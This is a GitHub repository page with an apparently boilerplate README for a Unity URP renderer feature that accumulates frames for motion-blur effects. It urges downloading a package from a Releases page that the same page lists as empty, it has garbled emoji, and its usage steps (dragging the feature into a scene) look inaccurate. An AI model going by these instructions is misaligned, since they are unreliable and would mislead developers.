Skip to content

Fluge476/URPFrameAccumulationRendererFeature

Repository files navigation

🎨 URPFrameAccumulationRendererFeature - Enhance Your Graphics with Frame Accumulation

Download Now

πŸ“— Introduction

Welcome to the URP Frame Accumulation RendererFeature. This tool helps you create compelling frame accumulation effects in your Unity projects. You can store a copy of your color buffer and mix it into a persistent buffer. This results in smooth and dynamic post-processing effects like motion blur. We provide an example shader graph to help you get started quickly.

πŸš€ Getting Started

To begin using the URP Frame Accumulation RendererFeature, follow the steps below. Make sure you have Unity 6 or later installed on your computer.

πŸ“₯ Download & Install

  1. Visit the Releases page to download the package.

  2. Look for the latest version of the .unitypackage file, which contains both the feature itself and an example effect.

  3. Download the file by clicking on it.

  4. After the download completes, open Unity and go to your project.

  5. Import the downloaded .unitypackage file:

    • Click on Assets in the menu.
    • Select Import Package, then click Custom Package….
    • Choose the downloaded file and hit Open.
  6. A window will pop up showing all the assets included in the package. Click Import to add them to your project.

βš™οΈ Usage

Once the RendererFeature is part of your Unity project, you can start using it for your graphics needs:

  1. Add the RendererFeature:

    • Find it in your project panel under Assets β†’ URPFrameAccumulationRendererFeature.
    • Drag it into your scene or add it to a GameObject of your choice.
  2. Configure the Material:

    • Use the provided material to draw the current frame into your persistent buffer.
    • Adjust material settings as needed to achieve your desired effect.
  3. Using the URP Sample Buffer Node:

    • In your shader graph, incorporate the URP Sample Buffer Node to sample the current frame.
  4. Fine-tune your effects:

    • You can create different effects by adjusting the parameters in the shader graph. Play around with values to see what looks best for your project.

πŸ“Š Features

  • Frame Accumulation: Store a copy of your frame for smooth transitions.
  • Motion Blur Effects: Create visually appealing motion blur with minimal effort.
  • Shader Example: A sample shader graph is included to demonstrate how to use the feature effectively.

πŸ–₯️ System Requirements

  • Unity Version: Requires Unity 6 or later.
  • RenderGraph API: Ensure this is included in your Unity setup.

πŸ’‘ Helpful Links

  • Documentation: Check out our wiki for more in-depth information on using the RendererFeature.
  • Unity Forum Discussion: Join the conversation to learn from and connect with other users.

πŸ” Troubleshooting

If you run into issues during installation or use, consider the following:

  • Make sure you are using a version of Unity that meets the requirements.
  • Check if any error messages appear in the console; they often provide clues on what to fix.
  • Revisit the installation steps to ensure nothing was missed.

πŸ“ž Support

For further assistance, feel free to open an issue in the repository. Our community is here to help, and we appreciate your feedback to make this tool even better.

πŸ“§ Contact

If you have questions or suggestions, please reach out through the GitHub repository. We value your insights and are committed to improving the URP Frame Accumulation RendererFeature.

You can download the latest release here to start enhancing your Unity graphics today.

About

🎨 Enhance your Unity projects with frame accumulation effects using this RendererFeature for URP, enabling real-time rendering and stunning visual results.

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors

Languages